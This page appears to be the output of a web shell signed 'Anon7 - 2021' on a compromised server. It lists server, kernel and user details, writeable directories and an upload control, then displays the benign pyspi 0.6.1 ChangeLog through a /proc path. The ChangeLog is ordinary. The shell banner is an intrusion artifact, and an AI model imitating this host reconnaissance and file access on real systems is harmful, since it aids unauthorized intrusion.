KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /proc/21585/root/usr/share/doc/pyspi-0.6.1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/21585/root/usr/share/doc/pyspi-0.6.1/ChangeLog
2006-10-13 Zack Cerza <zcerza@redhat.com>

	* MANIFEST.in: Remove debian directory from the tarballs since it
	is unmaintained.

2006-10-13 Zack Cerza <zcerza@redhat.com>

	* NEWS: Remove 'Features' section for this release, since no features
	were added.

2006-10-02  Zack Cerza <zcerza@redhat.com>

	* NEWS: Update.

2006-10-02  Zack Cerza <zcerza@redhat.com>

	* setup.py, NEWS: Post-release version bump.

2006-10-02  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: In Registry.__init__(), try to open the X display via
	XOpenDisplay(). If it fails, raise the newly-created X11Exception.

2006-09-13  Zack Cerza <zcerza@redhat.com>

	Released 0.6.0.

2006-09-13  Zack Cerza <zcerza@redhat.com>

	* setup.py: Bump version number.

2006-09-13  Zack Cerza <zcerza@redhat.com>

	* NEWS: Update.

2006-08-23  Zack Cerza <zcerza@redhat.com>

	* MANIFEST.in: Add Xlib.pxd.

2006-08-18  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Add EventGenerator.generateKeyCombo(), which takes a list
	of KeyStrings (the ones in /usr/include/X11/keysymdef.h without the XK_
	prefix) and treats them as a key combo, e.g. <Control><Shift>t would be
	generated by passing ['Control_L', 'Shift_L', 't'] to the function. The
	way it works is that every key leading up to the last is held down. 
	Then the last key is pressed, and the previous keys are released.

	* Xlib.pxd: Add declarations for functions and types needed for 
	EventGenerator.generateKeyCombo().

	* atspi.pyx: Include Xlib.pxd.

	* setup.py: Check pkg-config for x11, and bail if it's not there. If it
	is, use its cflags and libs flags.

2006-08-03  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Add string(), a wrapper function that takes a char * 
	returned from a cspi function (e.g. Accessible_getName()), converts it
	to a Python object, then calls cspi.SPI_freeString() on it. Use the 
	function where applicable. This should fix some memory leaks. Also,
	raise exceptions, not literals. And stop checking the return value
	of SPI_init().

2006-08-03  Zack Cerza <zcerza@redhat.com>

	* cspi.pxd, pyspi.pyx: Correctly implement DeviceListener class and
	marshalAccessibleDeviceEventCallback() to allow us to listen to 
	keystrokes.

2006-08-03  Zack Cerza <zcerza@redhat.com>

	* NEWS, setup.py: Post-release version bump.

2006-08-01  Zack Cerza <zcerza@redhat.com>

	Released 0.5.5.

2006-08-01  Zack Cerza <zcerza@redhat.com>

	* NEWS: Update.

2006-07-28  David Malcolm  <dmalcolm@redhat.com>

	* Makefile: add an "install" target, allowing pyspi to be built within
	jhbuild (fixes #318534)

2006-07-27  David Malcolm  <dmalcolm@redhat.com>

	* pyspi.pyx: register a handler for SPIExceptions; introduces a 
	SpiException exception class containing a scraped copy of the
	SPIException data, which is raised as appropriate; add "except *" 
	suffixes as needed to cdef functions to ensure exception propagation
	(fixes #318135)

	* cspi.pxd: Add "expect *" suffixes everywhere, to get exceptions to
	propagate correctly through callbacks in Pyrex (part of fix for 
	#318135)

2006-06-16  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Add patch from Dave Malcolm to work around the problem
	where pyspi would essentially just stop working, until the user logged
	out and back in. Closes: #321273.

2006-06-02  Zack Cerza <zcerza@redhat.com>

	* cspi.pxd, pyspi.pyx: Add AccessibleValue bindings, thanks to José 
	Dapena Paz. Closes: #342266.

2006-03-31  Zack Cerza <zcerza@redhat.com>

	* cspi.pxd, pyspi.pyx: Add AccessibleSelection bindings, thanks to
	Peter Johanson. This lets us deal with tabs, etc. Closes: #336561.

2006-03-28  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Move the listener-deregistering logic from
	EventListener.__dealloc__() to EventListener.deregister(), so
	dogtail's recorder can stop recording safely.

2006-03-21  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Expose Event's detail1 and detail2 attributes. Fix
	Eventbase's storage of its eventTypes attribute.

2006-03-21  Zack Cerza <zcerza@redhat.com>

	* setup.py, NEWS: Post-release version bump.

2006-03-14  Zack Cerza <zcerza@redhat.com>

	Released 0.5.4.

2006-03-14  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Remove Registry.{de,}registerGlobalEventListener, since
	they are fully wrapped by the EventListener class. Store the event
	types passed in EventListerner.__init__(). Make 
	EventListener.__dealloc__() deregister everything that was registered
	in the __init__().

	* NEWS: Update.

2006-03-10  Zack Cerza <zcerza@redhat.com>

	* cspi.pxd, pyspi.pyx: Add initial code to support DeviceListeners, 
	i.e. keystroke listening. We need this for the recorder. Note that it
	doesn't actually work right now - A DeviceListener instance can be
	created, but for some reason the callback doesn't seem to ever get
	called.

2006-02-14  Zack Cerza <zcerza@redhat.com>

	* Makefile: Make 'rpm' target only build binary RPMs.

2006-02-14  Zack Cerza <zcerza@redhat.com>

	* Makefile: Split 'rpm' target into 'rpm_prep' and 'rpm'. Add a new
	target, 'srpm', to build just a source RPM. Make it ignore 
	BuildRequires.

2006-02-14  Zack Cerza <zcerza@redhat.com>

	* setup.py: Don't bail just because Pyrex is missing, if we're only 
	trying to clean, or make a tarball.

	* setup.cfg: Remove, since we have a real specfile now.

2006-02-07  Zack Cerza <zcerza@redhat.com>

	* pyspi.spec: Use the right architecture. Clean up a bit.

	* Makefile: Remove 'noarch' references in 'rpm' target.

	* MANIFEST.in: Add ChangeLog

2006-02-07  Zack Cerza <zcerza@redhat.com>

	* pyspi.spec: Add proper specfile.

	* Makefile: Use the specfile.

	* MANIFEST.in: Add NEWS and pyspi.spec.

2006-01-11  Zack Cerza <zcerza@redhat.com>

	Released 0.5.3.
	* setup.py: Post-release version bump.

2006-01-11  Zack Cerza <zcerza@redhat.com>

	* NEWS: Add NEWS file.

2006-01-11  Zack Cerza <zcerza@redhat.com>

	* setup.py: Bump version. Fix project URL and mailing list addresses.

2006-01-11  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Add an assert to Accessible.getChildAtIndex(). Also, make
	sure to instantiate a hyperlink in Hypertext.getLink(), and check that
	hyperlink.__item is not NULL before returning it.

2005-11-16  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Fix methods of Hypertext and Hyperlink that weren't
	actually returning anything. This is the third time I've fixed these
	bugs, but unfortunately the first time I've committed the fix...

2005-11-16  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Add values from cspi.AccessibleKeySynthType enum.

2005-11-10  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Add EventGenerator.generateKeyboardEvent(), and make 
	EventGenerator.__generateKey{string,val}Event() use it.

2005-11-10  Zack Cerza <zcerza@redhat.com>

	* cspi.pxd: Remove bogus Accessible.getHyperlink(), because
	Accessible_getHyperlink() doesn't exist in CSPI. It's really gone now.

2005-11-10  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Add implementations for the most recently added
	AccessibleComponent method declarations.

2005-11-10  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Remove bogus Accessible.getHyperlink(), because
	Accessible_getHyperlink() doesn't exist in CSPI.

2005-11-10  Zack Cerza <zcerza@redhat.com>

	* cspi.pxd: Add declarations for
	AccessibleComponent_getAccessibleAtPoint(),
	AccessibleComponent_getPosition(), AccessibleComponent_getSize(),
	AccessibleComponent_getLayer(), AccessibleComponentLayer,
	AccessibleComponent_grabFocus(),
	AccessibleComponent_getMDIZOrder().

2005-11-10  Zack Cerza <zcerza@redhat.com>

	* pyspi.pyx: Fix EventGenerator.__generateButtonEvent() so that it 
	works with button 3.

2005-11-10  Zack Cerza <zcerza@redhat.com>

	* cspi.pxd: Add declarations for AccessibleHypertext and
	AccessibleHyperlink interfaces, thanks to Marius Andreiana.

	* pyspi.pyx: Add implementations of most of the Hypertext and
	Hyperlink interfaces, based on Marius Andreiana's patch but with
	extensive modifications.


Anon7 - 2021